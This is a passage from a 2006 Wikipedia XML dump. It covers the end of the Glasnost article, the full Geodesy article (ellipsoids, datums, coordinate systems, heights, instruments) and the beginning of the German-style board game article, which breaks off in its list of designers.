Relaxation of [[censorship]] resulted in the Communist Party losing its grip on the [[media]]. Before long, much to the embarrassment of the authorities, the media began to expose severe social and economic problems which the Soviet government had long denied and covered up. Long-denied problems such as poor housing, food shortages, [[alcoholism]], widespread pollution, creeping mortality rates and the second-rate position of women, were now receiving increasing attention. Moreover, under glasnost, the people were able to learn significantly more about the horrors committed by the government when [[Joseph Stalin]] was in power. Although [[Nikita Khrushchev]] denounced Stalin's [[personality cult]], information about the true proportions of his atrocities was still suppressed. In all, the very positive view of Soviet life which had long been presented to the public by the official media was being rapidly dismantled, and the negative aspects of life in the Soviet Union were brought into the spotlight. This began to undermine the faith of the public in the Soviet system.

Political openness continued to produce unintended consequenses. In [[election]]s to the regional assemblies of the Soviet Union's [[Republics of the Soviet Union|constituent republics]], [[nationalism|nationalists]] swept the board. As Gorbachev had weakened the system of internal political repression, the ability of the USSR's central Moscow government to impose its will on the USSR's constituent republics had been largely undermined. During the [[1980s]] calls for greater independence from Moscow's rule grew louder. This was especially marked in the [[Baltic Republics]] of [[Estonia]], [[Lithuania]] and [[Latvia]], which had been annexed into the Soviet Union by [[Joseph Stalin]] in [[1940]]. Nationalist feeling also took hold in other Soviet republics such as [[Ukrainian SSR|Ukraine]], [[Georgian SSR|Georgia]] and [[Azerbaijan SSR|Azerbaijan]].

Starting in the mid-1980s, the Baltic states used the reforms provided by glasnost to assert their rights to protect their environment and their historic monuments and, later, their claims to sovereignty and independence. When the Balts withstood outside threats, they exposed an irresolute [[Moscow Kremlin|Kremlin]]. Bolstering separatism in other Soviet republics, the Balts triggered multiple challenges to the [[Soviet Empire]]. Supported by Russian leader [[Boris Yeltsin]], the Baltic republics asserted their sovereignty.

The rise of nationalism under glasnost also reawakened simmering ethnic tensions throughout the union. For example, in February 1988, [[Nagorno-Karabakh]], a predominantly ethnic Armenian region in the Azerbaijan SSR, passed a resolution calling for unification with the [[Armenian SSR]]. Violence against local Azeris was then reported on Soviet television, which provoked massacres of Armenians in the Azerbaijani city of [[Sumgait]].

Whilst thousands of [[political prisoner]]s and many [[dissident]]s were released in the spirit of glasnost, Gorbachev's original goal of using glasnost and perestroika to reform the [[Soviet Union]] was not achieved. In 1991, [[History of the Soviet Union (1985-1991)|the Soviet Union was dissolved]] following a [[Soviet coup attempt of 1991|failed coup]] by conservative elements who were opposed to Gorbachev's reforms.

==See also==
* [[Perestroika]]
* [[Demokratizatsiya]]

{{Cold War}}

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[[Category:Soviet phraseology]]
[[Category:Soviet internal politics]]

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  </page>
  <page>
    <title>Geodesy</title>
    <id>12608</id>
    <revision>
      <id>41913119</id>
      <timestamp>2006-03-02T16:00:12Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/160.136.109.105|160.136.109.105]] ([[User talk:160.136.109.105|talk]]) to last version by Chris 73</comment>
      <text xml:space="preserve">:''See also the main article on [[history of geodesy]].''
{{mergefrom|geodetic system}} 

[[Image:Geodetisch station1855.jpg|thumb|right|250px|Geodetic pillar (1855); Ostend, Belgium]]
[[Image:Litography archive of the Bayerisches Vermessungsamt.jpg|thumb|250px|Archive with [[lithography]] plates for maps of [[Bavaria]] in the ''Landesamt für Vermessung und Geoinformation'' in [[Munich]]]]
'''Geodesy''' ([[International Phonetic Alphabet|IPA]] {{IPA|/dʒiˈɑdɪsi/}}), also called '''geodetics''', is the scientific discipline that deals with the measurement and representation of the [[earth]], its [[gravitation]]al field and geodynamic phenomena ([[polar motion]], earth [[tide]]s, and crustal motion) in three-dimensional time varying space.

==Definition ==

Geodesy is primarily concerned with positioning and the gravity field and geometrical aspects of their temporal variations, although it can also include the study of the Earth's [[magnetic field]]. Especially in the [[German language|German]] speaking world, geodesy is divided in [[geomensuration]] (&quot;Erdmessung&quot; or &quot;höhere Geodäsie&quot;), which is concerned with measuring the earth on a global scale, and  [[Geophysical survey|surveying]] (&quot;Ingenieurgeodäsie&quot;), which is concerned with measuring parts of the surface. 

The shape of the earth is to a large extent the result of its rotation, which causes its equatorial bulge, and the competition of geologic processes such as the collision of plates and of [[Volcano| vulcanism]], resisted by the earth's [[gravity]] field. This applies to the solid surface ([[orogeny]]; few mountains are higher than 10 km, few deep sea trenches deeper than that.) Quite simply, a mountain as tall as, for example, 15 km, would develop so much [[pressure]] at its base, due to gravity, that the rock there would become [[plastic]], and the mountain would slump back to a height of roughly 10 km in a geologically insignificant time. (On Mars, whose surface gravity is much less, the largest volcano, [[Olympus Mons]], is 27 km high at its peak, a height that could not be maintained on Earth.) Gravity similarly affects the liquid surface ([[dynamic sea surface topography]]) and the [[earth's atmosphere]]. For this reason, the study of the Earth's [[gravity field]] is seen as a part of geodesy, called
[[physical geodesy]].

== Geoid and reference ellipsoid ==

The [[geoid]] is essentially the figure of the Earth abstracted from its topographic features. It is an idealized equilibrium surface of sea water, the mean sea level surface in the absence of currents, air pressure variations etc. and continued under the continental masses. The geoid, unlike the ellipsoid, is irregular and too complicated to serve as the computational surface on which to solve geometrical problems like point positioning. The geometrical separation between
it and the reference ellipsoid is called the geoidal undulation [[wiktionary:Undulate|Wiktionary - Entry on Undulate]]. It
varies globally between &lt;math&gt;\pm&lt;/math&gt; 110 m.

A [[reference ellipsoid]], customarily chosen to be the same size (volume)
as the geoid, is described by its semi-major axis (equatorial
radius) &lt;math&gt;a&lt;/math&gt; and flattening
&lt;math&gt;f&lt;/math&gt;. The quantity &lt;math&gt;f = (a-b)/a&lt;/math&gt;, where &lt;math&gt;b&lt;/math&gt; is the semi-minor axis
(polar radius), is a purely geometrical one. The mechanical
ellipticity of the earth (dynamical flattening, symbol &lt;math&gt;J_2&lt;/math&gt;) is determined to high precision by
observation of satellite orbit perturbations. Its relationship with the geometric flattening is indirect. The relationship depends on the internal density distribution, or, in simplest terms, the degree of central concentration of mass.

The 1980 Geodetic Reference System ([[GRS80]])
posited a 6,378,137 m semi-major axis and a 1:298.257 flattening. This
system was adopted at the XVII General Assembly of the International
Union of Geodesy and Geophysics ([[IUGG]]). It is essentially the basis for geodetic positioning by the Global Positioning System and is thus in extremely widespread use also outside the geodetic community.

The  numerous other systems which have been used by diverse countries for their maps and charts are gradually dropping out of use as more and more countries move to global, geocentric reference systems using the GRS80 reference ellipsoid.

== Coordinate systems in space ==

The locations of points in three-dimensional space are most
conveniently described by three [[cartesian coordinate system|cartesian]] or rectangular coordinates,
&lt;math&gt;X, Y&lt;/math&gt; and &lt;math&gt;Z&lt;/math&gt;. Since the advent of satellite
positioning, such coordinate sytems are typically ''geocentric'': the
&lt;math&gt;Z&lt;/math&gt; axis is aligned with the Earth's (conventional or
instantaneous) rotation axis.

Before the satellite geodesy era, the coordinate systems associated
with geodetic datums attempted to be geocentric, but their origins
differed from the geocentre by hundreds of metres, due to regional
deviations in the direction of the [[plumbline]] (vertical). These regional geodetic datums, such as [[ED50]] (European Datum 1950) or [[NAD83]] (North American Datum 1983) have ellipsoids associated with them that are regional 'best fits' to the [[geoid]]s within their areas of validity, minimising the deflections of the vertical over these areas.

It is only because
[[GPS]] satellites orbit about the geocentre, that this point becomes
naturally the origin of a coordinate system defined by satellite geodetic means, as the satellite positions in space are themselves computed in such a system.

Geocentric coordinate systems used in geodesy can be divided naturally into two classes:

# [[Inertial]] reference systems, where the coordinate axes retain their orientation relative to the [[fixed star]]s, or equivalently, to the rotation axes of ideal [[gyroscopes]]; the &lt;math&gt;X&lt;/math&gt; axis points to the [[vernal equinox]]
# Co-rotating, also ECEF (&quot;Earth Centred, Earth Fixed&quot;), where the axes are attached to the solid body of the Earth. The &lt;math&gt;X&lt;/math&gt; axis lies within the [[Greenwich meridian|Greenwich]] observatory's [[Meridian (geography)|meridian]] plane.

The coordinate transformation between these two systems is described to good approximation by (apparent) [[sidereal time]], which takes into account variations in the Earth's axial rotation ([[day|length-of-day]] variations).  A more accurate description also takes [[polar motion]] into account, a phenomenon currently closely monitored by geodesists.

=== Coordinate systems in the plane ===

In [[surveying]] and [[mapping]], important fields of application of geodesy, two general types of coordinate systems are used in the plane:

# Plano-polar, in which points in a plane are defined by a distance &lt;math&gt;s&lt;/math&gt; from a specified point along a ray having a specified direction &lt;math&gt;\alpha&lt;/math&gt; with respect to a base line or axis;
# Rectangular, points are defined by distances from two perpendicular axes called &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;. It is geodetic practice — contrary to the mathematical convention — to let the &lt;math&gt;x&lt;/math&gt; axis point to the North and the &lt;math&gt;y&lt;/math&gt; axis to the East.

Rectangular coordinates in the plane can be used intuitively with respect to one's current location, in which case the &lt;math&gt;x&lt;/math&gt; axis will point to the local North. More formally, such coordinates can be obtained from three-dimensional coordinates using the artifice of a [[map projection]]. It is ''not'' possible to map the curved surface of the Earth onto a flat map surface without deformation. The compromise most often chosen — called a [[conformal]] projection — preserves angles and  length ratios, so that small circles are mapped as small circles and small squares as squares.

An example of such a projection is UTM ([[Universal Transverse Mercator]]). Within the map plane, we have rectangular coordinates &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;. In this case the North direction used for reference is the ''map'' North, not the ''local'' North. The difference between the two is called ''meridian convergence''.

It is easy enough to &quot;translate&quot; between polar and rectangular coordinates in the plane: let, as above, direction and distance be &lt;math&gt;\alpha&lt;/math&gt; and &lt;math&gt;s&lt;/math&gt; respectively, then we have

:&lt;math&gt;
\begin{matrix}
x &amp;=&amp; s \cos \alpha,\\
y &amp;=&amp; s \sin \alpha.
\end{matrix}
&lt;/math&gt;

The reverse translation is slightly more tricky.

==Heights==

In geodesy, point or terrain ''[[height]]s'' are &quot;above [[sea level]]&quot;, an irregular, physically defined surface.
Therefore a height should ideally ''not'' be referred to as a
coordinate. It is more like a physical quantity, and though it can be
tempting to treat height as the vertical coordinate &lt;math&gt;z&lt;/math&gt;, in
addition to the horizontal coordinates &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;, and
though this actually is a good approximation of physical reality in
small areas, it becomes quickly invalid in larger areas.

Heights come in the following variants:

# [[Orthometric height]]s
# [[Normal height]]s
# [[Geopotential number]]s

Each have their advantages and disadvantages. Both orthometric and normal heights are heights in metres above sea level, whereas geopotential numbers are measures of potential energy (unit: &lt;math&gt;m^2 s^{-2}&lt;/math&gt;) and not metric. Orthometric and normal heights differ in the precise way in which mean sea level is conceptually continued under the continental masses. The reference surface for orthometric heights is the [[geoid]], an equipotential surface approximating mean sea level.

''None'' of these heights are in any way related to '''geodetic''' or '''ellipsoidial''' heights, which express the height of a point above the [[reference ellipsoid]]. Satellite positioning receivers typically provide ellipsoidal heights, unless they are fitted with special conversion software based on a model of the [[geoid]].

== Geodetic [[datum]]s ==

Because geodetic point coordinates (and heights) are always obtained in a system that has been constructed itself using real observations, we have to introduce the concept of a ''geodetic datum'': a physical realization of a coordinate system used for describing point locations. The realization is the result of ''choosing'' conventional coordinate values for one or more ''datum points''.

In the case of height datums, it suffices to choose ''one'' datum point: the reference bench mark, typically a tide gauge at the shore. Thus we have vertical datums like the NAP ([[Normaal Amsterdams Peil]]), the North American Vertical Datum 1988 (NAVD88), the Kronstadt datum, the Trieste datum, etc.

In case of plane or spatial coordinates, we typically need several datum points. A regional, ellipsoidal datum like [[ED50]] can be fixed by prescribing the undulation of the [[geoid]] and the deflection of the vertical in ''one'' datum point, in this case the [[Helmert Tower]] in [[Potsdam]]. However, an overdetermined ensemble of datum points can also be used.

Changing the coordinates of a point set referring to one datum, to make them refer to another datum, is called a ''datum transformation''. In the case of vertical datums, this consists of simply adding a constant shift to all height values. In the case of plane or spatial coordinates, datum transformation takes the form of a similarity or ''Helmert transformation'', consisting of a rotation and scaling operation in addition to a simple translation. In the plane, a [[Helmert transformation]] has four parameters, in space, seven.

===A note on terminology===

In the abstract, a coordinate system as used in mathematics and geodesy is, e.g., in [[International Organization for Standardization|ISO]] terminology, referred to as a ''coordinate system''. International geodetic organizations like the [[IERS]] (International Earth Rotation and Reference Systems Service) speak of a ''reference system''.

When these coordinates are realized by choosing datum points and fixing a geodetic datum, ISO uses the terminology ''coordinate reference system'', while IERS speaks of a ''reference frame''. A datum transformation again is referred to by ISO as a ''coordinate transformation''. (ISO 19111: Spatial referencing by coordinates).

== Point positioning ==

Point positioning is the determination of the coordinates of a point
on land, at sea, or in space with respect to a coordinate system.
Point position is solved by computation from measurements linking the
known positions of terrestrial or extraterrestrial points with the
unknown terrestrial position. This may involve transformations
between or among astronomical and terrestrial coordinate systems.

The known points used for point positioning can be, e.g.,
[[triangulation]] points of a higher order network, or [[GPS]] satellites.

Traditionally, a hierarchy of networks has been built to allow point
positioning within a country. Highest in the hierarchy were
triangulation networks. These were densified into networks of
[[traverse]]s ([[polygons]]), into which local mapping surveying measurements, usually
with measuring tape, corner prism and the familiar red and white
poles, are tied.

Nowadays all but special measurements (e.g., underground or high
precision engineering measurements) are performed with [[GPS]]. The
higher order networks are measured with [[static GPS]], using differential
measurement to determine vectors between terrestrial points. These
vectors are then adjusted in traditional network fashion. A global polyhedron of permanently operating GPS stations under the auspices of the [[IERS]] is used 
to define a single global, geocentric reference frame which serves as the &quot;zeroth order&quot;
global reference to which national measurements are attached.

For [[surveying]] mappings, frequently [[Real Time Kinematic GPS]] is employed,
tying in the unknown points with known terrestrial points close by in
real time.

One purpose of point positioning is the provision of known points for
mapping measurements, also known as (horizontal and vertical) control.
In every country, thousands of such known points exist in the terrain
and are documented by the national mapping agencies. Constructors and
surveyors involved in real estate will use these to tie their local
measurements to.

== Geodetic problems ==

In geometric geodesy we formulate two standard problems: the geodetic
principal problem and the geodetic inverse problem.

; Geodetic principal problem &lt;nowiki&gt;(also: first geodetic problem)&lt;/nowiki&gt; : Given a point (in terms of its coordinates) and the direction ([[azimuth]]) and distance from that point to a second point, determine (the coordinates of) that second point.

; Geodetic inverse problem &lt;nowiki&gt;(also: second geodetic problem)&lt;/nowiki&gt; : Given two points, determine the azimuth and length of the line (straight line, great circle or geodesic) that connects them.

In the case of plane geometry (valid for small areas on the Earth's
surface) the solutions to both problems reduce to simple [[trigonometry]].
On the sphere, the solution is significantly more complex, e.g., in
the inverse problem the azimuths will differ between the two end
points of the connecting [[great circle]], arc, i.e. the geodesic.

On the [[ellipsoid of revolution]], solutions in closed form do not exist, so rapidly converging series expansions have traditionally been used.

In the general case, the solution is called the [[geodesic]] for the surface considered. It may be nonexistent or non-unique. The differential equations for the [[geodesic]] can be solved numerically, e.g., in [[MATLAB]].

== Geodetic observational concepts ==

Here we define some basic observational concepts, like angles and
coordinates, defined in geodesy (and astronomy as well), mostly from the
viewpoint of the local observer.

* The ''[[plumbline]]'' or ''vertical'' is the direction of local gravity, or the line that results by following it.  It is slightly curved.

* The ''[[zenith]]'' is the point on the [[celestial sphere]] where the direction of the gravity vector in a point, extended upwards, intersects it. More correct is to call it a &lt;direction&gt; rather than a point.

* The ''[[nadir]]'' is the opposite point (or rather, direction), where the direction of gravity extended downward intersects the (invisible) celestial sphere.

* The celestial ''horizon'' is a plane perpendicular to a point's gravity vector.

* ''[[Azimuth]]'' is the direction angle within the plane of the horizon, typically counted clockwise from the North (in geodesy) or South (in astronomy and France).

* ''[[Elevation]]'' is the angular height of an object above the horizon, Alternatively zenith distance, being equal to 90 degrees minus elevation.

* ''Local topocentric coordinates'' are azimuth (direction angle within the plane of the horizon) and elevation angle (or zenith angle) and distance.

* The North ''[[celestial pole]]'' is the extension of the Earth's ([[precession|precessing]] and [[nutation|nutating]]) instantaneous spin axis extended Northward to intersect the celestial sphere. (Similarly for the South celestial pole.)

* The ''celestial equator'' is the intersection of the (instantaneous) Earth equatorial plane with the celestial sphere.

* A ''[[meridian]] plane'' is any plane perpendicular to the celestial equator and containing the celestial poles.

* The ''local meridian'' is the plane containing the direction to the zenith and the direction to the celestial pole.

== Geodetic observing instruments ==

The [[level]] is used for determining height differences and height reference systems, commonly referred to 
[[mean sea level]]. The traditional [[spirit level]] produces these practically most useful heights above sea level directly; the more economical use of GPS instruments for height determination requires precise knowledge of the figure of the [[geoid]], as GPS only gives heights above the [[GRS80]] reference ellipsoid. As geoid knowledge accumulates, one may expect use of GPS heighting to spread.

The [[theodolite]] is used to measure horizontal and vertical angles to target points. These angles are referred to the local vertical. The [[tacheometer]] additionally determines, electronically or electro-optically, the distance to target, and is highly automated in its operations. The method of [[free station position]] is widely used.

For local detail surveys, tacheometers are commonly employed although the old-fashioned rectangular technique using angle prism and steel tape is still an inexpensive alternative. More and more, also real time kinematic (RTK) GPS techniques are used. Data collected is tagged and recorded digitally for entry into a [[Geographic information system|Geographic Information System]] (GIS) data base.

Geodetic [[GPS]] receivers produce directly three-dimensional coordinates in a [[geocentric]] coordinate frame. Such a frame is, e.g., [[WGS84]], or the frames that are regularly produced and published by the International Earth Rotation and Reference Systems Service ([[IERS]]).

GPS receivers have almost completely replaced terrestrial instruments for large-scale base network surveys. For planet-wide geodetic surveys, previously impossible, we can still mention [[satellite laser]] and Very Long Baseline Interferometer ([[VLBI]]) techniques. All these techniques also serve to monitor Earth rotation irregularities as well as plate tectonic motions.

[[Gravity]] is measured using [[gravimeters]]. There are two basic kinds of gravimeters. ''Absolute'' gravimeters, which nowadays can also be used in the field, are based directly on measuring the acceleration of free fall (for example, of a reflecting prism in a vacuum tube). They are used for establishing the vertical geospatial control. Most common ''relative'' gravimeters are spring based. They are used in gravity [[survey]]s over large areas for establishing the figure of the geoid over these areas. Most accurate relative gravimeters are ''superconducting'' gravimeters, and these are sensitive to one thousandth of one billionth of the Earth surface gravity. Twenty-some superconducting gravimeters are used worldwide for studying Earth [[tide]]s, [[rotation]], interior, and [[ocean]] and atmospheric loading, as well as for verifying the Newtonian constant of [[gravitation]].

== Units and measures on the ellipsoid ==

Geographical [[latitude]] and [[longitude]] are stated in the units degree,
minute of arc, and second of arc. They are ''angles'', not metric
measures, and describe the ''direction'' of the local normal to the
[[reference ellipsoid]] of revolution. This is ''approximately'' the
same as the direction of the plumbline, i.e., local gravity, which is
also the normal to the geoid surface. For this reason, astronomical
position determination, measuring the direction of the plumbline by
astronomical means, works fairly well provided an ellipsoidal model of
the figure of the Earth is used.

A geographic mile, defined as one minute of arc on the equator, equals 1,855.32571922 m. A nautical mile is one minute of astronomical latitude. The radius of curvature of the ellipsoid varies with latitude, being the longest at the pole and shortest at the equator as is the nautical mile.

A metre was originally defined as the 40 millionth part of the length of a meridian. This means that a kilometre is equal to (1/40,000) * 360 * 60 meridional minutes of arc, which equals 0.54 nautical miles. Similarly a nautical mile is on average 1/0.54 = 1.85185... km.

==Temporal change==

In geodesy, temporal change can be studied by a variety of techniques. Points
on the Earth's surface change their location due to a variety of mechanisms:

* Continental plate motion, [[plate tectonics]]
* Episodic motion of tectonic origin, esp. close to fault lines
* Periodic effects due to Earth tides
* [[glaciation|Postglacial]] land uplift due to isostatic adjustment
* Various anthropogenic movements due to, e.g., [[petroleum]] or water extraction or reservoir contruction.

The science of studying deformations and motions in the Earth's crust and the
solid Earth as a whole is called [[geodynamics]]. Often, also study of the
Earth's irregular rotation is included in its definition.

Techniques for studying geodynamic phenomena on the global scale include:
satellite positioning by [[GPS]] and similar techniques, very long baseline
interferometry ([[VLBI]]), and satellite and lunar [[laser ranging]]. Regionally
and locally, precise levelling, precise tacheometers and monitoring gravity
change, as well as synthetic aperture radar interferometry ([[inSAR]]) from
orbit are often used techniques.

== International organizations ==

* [http://www.iag-aig.org/ International Association of Geodesy (IAG)]
* [http://www.iugg.org/ International Union of Geodesy and Geophysics (IUGG)]
* [http://www.fig.net/ Fédération Internationale des Géomètres (FIG)]

== University institutes ==

Some [[university]] [[institute]]s engaged in geodesy include:
* ''[http://www.kntu.ac.ir/facsurvey/main/main_page.htm Faculty of Geodesy and Geomatics Engineering]'',''[http://www.kntu.ac.ir K.N.Toosi University of Technology]'', [[Tehran]],[[Iran]] 
* The ''Institut für Erdmessung'' in [[Hannover]], Germany - which specialises in [[astro-geodetic]] zenith cameras and [[geoid]] computations for many European countries
* The ''Institut für Theoretische Geodäsie'' in [[Bonn]] (Geodesy, [[Radio astronomy]] and [[Global Positioning System|GPS]])
* The ''Institut für Astronomische und Physikalische Geodäsie'' in [[Munich]], southern Germany.
* The [[Austria]]n ''Institute for Geodesy and Geophysics'' at the [[TU]] [[Vienna]] ([[astro-geodetic|astro-geological]] geoid, [[IGS]] and [[Very Long Baseline Interferometry|VLBI]])
* The [[Switzerland|Swiss]] ''Geodetic Institute'' at the [[ETH Zurich|ETH]] [[Zürich]] ([[Geophysics|geophysical]] geodesy, GPS etc.)
* [http://geodesy.eng.ohio-state.edu/ Geodesy at Ohio State University, Columbus OH, USA]
* [http://gge.unb.ca/HomePage.php3 Geodesy and Geomatics Engineering, University of New Brunswick, Canada]
* [http://www.hut.fi/Units/Departments/M/ Department of Surveying at Helsinki University of Technology, Espoo, Finland]
* [http://www.geomatics.ucalgary.ca/ Geomatics Engineering at the University of Calgary, Alberta, Canada]
*  [http://www.wtusm.edu.cn/en/index.html Wuhan Technical University of Surveying and Mapping (WTUSM), Wuhan, China]
* [http://www.spatial.curtin.edu.au/ Department of Spatial Sciences, Curtin University of Technology, Perth, Australia]
* [http://www.geof.hr Faculty of Geodesy and Geoinformatics], [[University of Zagreb]], [[Zagreb]], [[Croatia]]
* [http://geomatics.fksg.utm.my/index.htm Faculty of Geoinformation Science &amp; Engineering, Malaysian University of Technology, Johor Bahru, Malaysia]
*[http://geom.unimelb.edu.au Department of Geomatic Engineering, University Of Melbourne, Australia]
* [http://www.luzingenieriageodesica.org.ve Escuela de Ingenieria Geodesica de La Universidad del Zulia]'' (LUZ-INGENIERIA GEODESICA) at Maracaibo, Venezuela

== Governmental agencies ==

* [http://www.ngs.noaa.gov/ National Geodetic Survey] ([[NGS]]) in Silver Spring MD, USA
* [http://www.nga.mil/portal/site/nga01/ National Geospatial-Intelligence Agency] ([[National_Geospatial-Intelligence_Agency|NGA]]) in Bethesda MD, USA (Previously National Imagery and Mapping Agency NIMA, previously Defense Mapping Agency DMA)
* [http://www.usgs.gov/ U.S. Geological Survey] ([[USGS]]) in Reston VA, USA
* ''Institut Geographique National'' in Saint-Mandé, France
* [http://www.ifag.de/sitemap.html Bundesamt für Kartographie und Geodäsie] (BKG) In Frankfurt a.M., Germany (Previously Institut für Angewandte Geodäsie, IfAG)
* ''Central Research Institute for Geodesy, Remote Sensing and Cartography'' (CNIIGAIK), Moscow, Russia
* [http://www.geod.nrcan.gc.ca/index_e/geodesy_e/geodesy_e.html Geodetic Survey Division], Natural Resources Canada
* [http://www.ga.gov.au/geodesy/ Geoscience Australia], Australian Federal Agency
* ''[http://www.fgi.fi Finnish Geodetic Institute]'' (FGI) at Masala, Finland
* ''[http://www.igeo.pt Portuguese Geographic Institute]'' (IGEO) at Lisbon, Portugal

''Note: This list is still largely incomplete.''

== See also ==
{{wikibookspar||Geodesy}}
* [[History of geodesy]]
* [[List of publications in geology#Geodetics| Important publications in geodesy]]
* [[World Geodetic System]] 
* [[WGS 84]]

==External links==
{{commons|Category:Geodesy}}
*[http://www.jqjacobs.net/astro/geodesy.html The Geodesy Page.]
*[http://www.oceanservice.noaa.gov/education/geodesy/welcome.html Welcome to Geodesy]
*[http://www.mapref.org MapRef.org: The Collection of Map Projections and Reference Systems for Europe]
*[http://www.geomatics.kth.se/hf/geo.html Geodesy on the World Wide Web]
*[http://www.pamagic.org/pamagic/lib/pamagic/Geodetic_Ver1_5.pdf Pennsylvania Geospatial Data Sharing Standard - Geodesy and Geodetic Monumentation]
*[http://cires.colorado.edu/~bilham/FG5references.html References on Absolute Gravimeters]
*[http://gge.unb.ca/Research/GeodesyGroup/tutorial/tutorial.htm Geodesy tutorial at U. New Brunswick]

[[Category:Geodesy]]

[[ar:جيوديسيا]]
[[bg:Геодезия]]
[[ca:Geodèsia]]
[[da:Geodæsi]]
[[de:Geodäsie]]
[[es:Geodesia]]
[[eo:Geodezio]]
[[fr:Géodésie]]
[[hr:Geodezija]]
[[he:גאודזיה]]
[[hu:Geodézia]]
[[nl:Geodesie]]
[[ja:測地学]]
[[pl:Geodezja]]
[[pt:Geodésia]]
[[ro:Geodezie]]
[[ru:Геодезия]]
[[sk:Geodézia]]
[[sl:Geodezija]]
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[[zh:大地测量学]]</text>
    </revision>
  </page>
  <page>
    <title>German-style board game</title>
    <id>12609</id>
    <revision>
      <id>42132394</id>
      <timestamp>2006-03-04T01:02:36Z</timestamp>
      <contributor>
        <username>Shaile</username>
        <id>249110</id>
      </contributor>
      <minor />
      <comment>/* Game designers */ added Inkognito to Leo Collovini, fixed his name</comment>
      <text xml:space="preserve">'''German-style board games''', also known as '''Euro games''', '''designer games''', '''family strategy games''' or '''hobby board games''', are family games designed to appeal simultaneously to older children and adults. Usually they have simple rules, attractive components, modest length and a tangible theme. Yet still they offer lots of opportunities to make strategic decisions.

While games with all the hallmarks of German style board games originated in the 1960s ([[Acquire]], by [[Sid Sackson]], published by 3M in the USA being a notable example) the genre as a more concentrated design movement originated around the late 1970s/early 1980s in [[Germany]], and per capita that country publishes more board games than any other, hence the name. Nowadays, the phenomenon has spread to many other places in [[Europe]]; plenty of the games are designed and published in such places as [[France]] and [[The Netherlands]], and while many are published and played in other markets such as the [[United States]] and the [[United Kingdom]], they remain largely at niche status there.

''[[The Settlers of Catan]]'' (in German: ''Die Siedler von Catan''), first published in 1995, paved the way for the genre in the U.S. and outside Europe. It was not the first German game, but it quickly became much more popular than any of its predecessors. It quickly sold millions of copies in Germany, and in the process brought money and attention to the genre as a whole.

== Characteristics ==
German games are usually designed as a vehicle to underpin a social gathering, rather than to play as an end in themselves as [[wargaming]] titles and classic [[strategy games]] like [[Chess]] and [[Go]] often are.  Despite this, many titles (especially the strategically deeper ones) are enthusiastically played by &quot;gamers&quot; as a hobby, but the publishers are for the most part aiming their products at &quot;everyman&quot; social play.
Bearing this social function in mind, designers have found various characteristics tend to support that aspect well, and these have become quite common across the genre.  The following characteristics are consequently typical of German games:

* Variable number of players - The games are designed to be played with a wide ranging group. Typically the minimum number of players is only two or three, and the maximum might be four or five or even more.
* Simple, clever rules - The rules for most games are only a few pages and simple to learn. Novel mechanisms that will be unfamiliar to those brought up on older titles are often incorporated. The &quot;roll-and-move&quot; mechanic of games like [[Monopoly (game) | Monopoly]] is almost never seen. If a monetary system is included at all, it is usually very simple.
* No player elimination - The games usually continue until some defined set of criteria is met. At that point, a winner is determined. Players don't get kicked out in midgame by running out of money or armies.
* Heavy player interaction - Players often trade, compete for resources, try to win auctions, or affect one another in other ways.
* Minimize direct conflict - War is rarely a theme. It is often difficult or impossible for one player to destroy other players' pieces or position. Usually you are trying to make your own position stronger or stop other players from growing.
* Mitigated luck - The games usually feature some component of luck to keep the games exciting and varied. However, luck is often balanced against numerous strategic and tactical decisions. A skilled player will win far more than a foolish one.
* Diversity of situations - The combination of unusual rules and randomness is used to achieve a variety of possible situations. The goal is to keep the game interesting and fresh even after it has been played many times.
* Modest length - Games are typically designed to take about an hour, and most will rarely take more than two.
* Attractive - Games are usually well illustrated and have quality board and pieces. Bright coloring, and wood or metal components are not unusual. This does often raise the price (typically between [[USD | US$]]20 and US$50).

Another common feature, though not central to actual play, is that the designer is clearly credited - The person or people who devised the game are often prominently mentioned on the box, or at least in the rule book. Top designers enjoy considerable following among enthusiasts of German games. For this reason, the name &quot;Designer games&quot; is often offered as a description of the genre.

== Game designers ==

* [[Reiner Knizia]] is probably the most famous and prolific of the German game designers, having designed over 200 published games. Recurring mechanisms in his games include auctions ([[Ra (board game)|Ra]] and ''[[Modern Art (game)|Modern Art]]''), tile placement (''[[Tigris and Euphrates]]'') and intricate scoring rules (''[[Samurai (board game)|Samurai]]''). He has also designed many card games such as ''[[Lost Cities]]'' or ''[[Blue Moon]]'', and the cooperative game ''[[The Lord of the Rings (board game)|The Lord of the Rings]]''.
* [[Wolfgang Kramer]], unlike Knizia, often works with other game designers. Some of his most well known titles include ''[[El Grande]]'', ''[[Tikal (board game)|Tikal]]'', ''[[Princes of Florence]]'' and ''[[Torres]]''. His games often have some sort of &quot;action point&quot; system, and include some geometric element.
* [[Klaus Teuber]] is most famous for designing ''[[The Settlers of Catan]]'' and many related games.  Other games to his credit include ''[[Adel Verpflichtet]]'', ''[[Entdecker]]'', and ''[[Löwenherz]]''.
* [[Sid Sackson]] predates the German game movement, but he is often included with other designers because his style of game design is similar. (''[[Acquire]]'', ''[[Can't Stop]]'', ''[[Kohle, Kies &amp; Knete]]'')


* [[William Attia]] (''[[Caylus (game)|Caylus]]'')
* [[Richard Breese]] (''[[Aladdin's Dragons]]'', ''[[Keythedral]]'', ''[[Reef Encounter]]'')
* [[Kris Burm]] (''[[Batik (game)]]'', ''[[Gipf]]'', ''[[Zertz]]'', ''[[Dvonn]]'', ''[[Tamsk]]'', ''[[Yinsh]]'', ''[[P%C3%BCnct]]'')
* [[Leo Collovini]] (''[[Clans (board game)|Clans]]'', ''[[Carolus Magnus]]'', ''[[Cartagena (board game)|Cartagena]]'', ''[[Doge]]'', ''[[The Bridges of Shangri-La]]'', ''[[Magna Grecia]]'', ''[[Inkognito]]'')
* [[Franz-Benno Delonge]] (''[[Big City]]'', ''[[Manila (game)]]'', ''[[Dos Rios]]'', ''[[TransAmerica]]'', ''[[Fjord (board game)|Fjord]]'')
* [[Rudiger Dorn]] (''[[The Traders of Genoa]]'', ''[[Louis XIV (game)|Louis XIV]]'', ''[[Goa (board game)|Goa]]'')
* [[Stefan Dorra]] (''[[For Sale]]'', ''[[Pick Picnic]]'', ''[[Medina]]'', ''[[Tonga Bonga]]'', ''[[Linie 1]]'', ''[[Turn the Tide]]'', ''[[Intrige]]'')
